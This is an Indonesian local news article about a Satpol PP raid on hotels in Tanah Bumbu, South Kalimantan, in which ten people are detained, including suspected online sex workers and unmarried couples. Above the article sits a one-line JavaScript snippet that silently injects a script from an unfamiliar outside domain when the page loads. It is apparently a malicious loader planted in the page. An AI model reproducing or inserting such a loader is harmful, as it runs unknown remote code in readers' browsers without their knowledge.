(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Diduga Mesum, PSK dan Pasangan Bukan Muhrim Diciduk Satpol PP

KANALKALIMANTAN.COM, BATULICIN – Satpol PP Tanbu menciduk sejumlah pasangan diduga mesum.

Operasi penegak ketertiban umum di Kabupaten Tanah Bumbu itu mendapati lima perempuan diduga sebagai pekerja seks komersial (PSK).

Selain itu, Satpol PP Tanbu juga mengamankan dua pasangan bukan muhrim yang dalam sebuah penginapan, serta seorang yang diduga muncikari.

Operasi pengawasan, penegakan dan penanggulangan kegiatan prostitusi online di sejumlah hotel yang ada di Kecamatan Simpang Empat dan Batulicin pada Rabu (8/9/2021) malam.

Kepala Satpol PP Tanbu, M Putu Wisnu Wardhana mengatakan, dari pelaksanaan giat tersebut, hasil dari pemeriksaan di salah satu hotel kawasan Batulicin ditemukan seorang perempuan yang diduga PSK.

“Di dalam kamar juga ditemukan miras jenis anggur merah, serta alat kontrasepsi siap pakai dan bekas pakai. Selain itu ditemukan pula sepasang pria dan wanita yang bukan suami istri di dalam kamar,” bebernya.

Kemudian dari pemeriksaan di salah satu hotel di kawasan Simpang Empat ditemukan empat orang diduga PSK.

Wisnu menyebut total keseluruhan yang mereka amankan saat giat tersebut ada 10 orang.

“Totalnya ada 10 orang yang kami amankan. Terdiri dari 5 orang diduga PSK online, dua pasangan bukan suami istri dan seorang mucikari,” jelas Wisnu.

Wisnu menambahkan para PSK yang diamankan merupakan jaringan prostitusi online yang melakukan kegiatan di wilayah Kalselteng dilakukan secara berpindah.

“Aplikasi online yang mereka gunakan adalah Michat. Semua orang yang diamankan akan dilakukan swab antigen dan pemeriksaan HIV,” pungkasnya.(kanalkalimantan.com/chandra)

Reporter : chandra
Editor : kk